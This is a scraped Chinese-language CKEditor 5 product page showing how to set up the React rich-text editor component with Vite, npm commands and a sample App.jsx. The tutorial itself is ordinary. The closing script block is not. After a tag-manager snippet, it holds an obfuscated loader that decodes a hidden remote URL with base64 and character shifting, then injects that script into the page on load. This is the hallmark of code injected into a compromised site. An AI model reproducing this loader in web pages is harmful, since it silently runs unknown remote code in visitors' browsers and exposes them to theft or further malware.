报告:2024 年 协同编辑现状

洞悉 RTE 协同合作的趋势和未来 立即下载

立即阅读

React 富文本编辑器

React 富文本编辑器是 CKEditor 5 的官方 React 组件。该组件公开了属性,用于快速将 WYSIWYG 编辑器集成到基于 React 的应用程序中。

多功能

一个适应性强的生态系统,能够处理端到端的文档编辑、与第三方工具的互操作性、文档管理和协作。

可扩展性

模块化架构,其中一切都是插件。您可以根据需要调整、添加或删除插件。使用自定义处理器来处理 HTML、Markdown 或 JSON 输出。

渐进式

利用了 50 多名行业专家和 20 多年的 WYSIWYG 编辑经验。我们每个月都会发布新功能。

简单设置

以下是如何使用 React 富文本编辑器的快速示例
CKEditor 5 的组件,使用 Vite!

1

创建项目

使用基本的 Vite 模板创建项目,并将工作目录更改为新创建的项目。

npm create vite@latest ckeditor5-react -- --template react && cd ckeditor5-react
2

安装软件包

安装富文本编辑器 React 组件和所选编辑器类型的依赖项
根据您的首选编辑体验。在本例中,我们使用经典版本。

npm install ckeditor5 @ckeditor/ckeditor5-react
3

添加组件

用负责导入和初始化编辑器的代码替换 src/App.jsx 的内容。

import { CKEditor } from '@ckeditor/ckeditor5-react';
import {
  ClassicEditor,
  Bold,
  Essentials,
  Heading,
  Indent,
  IndentBlock,
  Italic,
  Link,
  List,
  MediaEmbed,
  Paragraph,
  Table,
  Undo
} from 'ckeditor5';

import 'ckeditor5/ckeditor5.css';

export default function App() {
  return (
    <CKEditor
      editor={ ClassicEditor }
      config={ {
        toolbar: [
          'undo', 'redo', '|',
          'heading', '|', 'bold', 'italic', '|',
          'link', 'insertTable', 'mediaEmbed', '|',
          'bulletedList', 'numberedList', 'indent', 'outdent'
        ],
        plugins: [
          Bold,
          Essentials,
          Heading,
          Indent,
          IndentBlock,
          Italic,
          Link,
          List,
          MediaEmbed,
          Paragraph,
          Table,
          Undo
        ],
        initialData: '<h1>Hello from CKEditor 5!</h1>',
      } }
    />
  );
}
4

完成!

通过执行以下命令运行应用程序
在您项目的目录中。

npm run dev
5

浏览文档

恭喜您设置了 CKEditor!为了充分利用它,请访问 CKEditor 文档
以获取有关如何全面自定义和集成编辑器的全面指南。

受信任并获得认可

想了解更多关于 CKEditor 的信息吗?

您好,您对产品或价格有任何疑问吗?

关于我们 产品或价格 的疑问?

联系我们的 销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏的未用字段。

我们很高兴
收到您的来信!

感谢您联系 CKEditor 销售团队。我们已收到您的信息,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });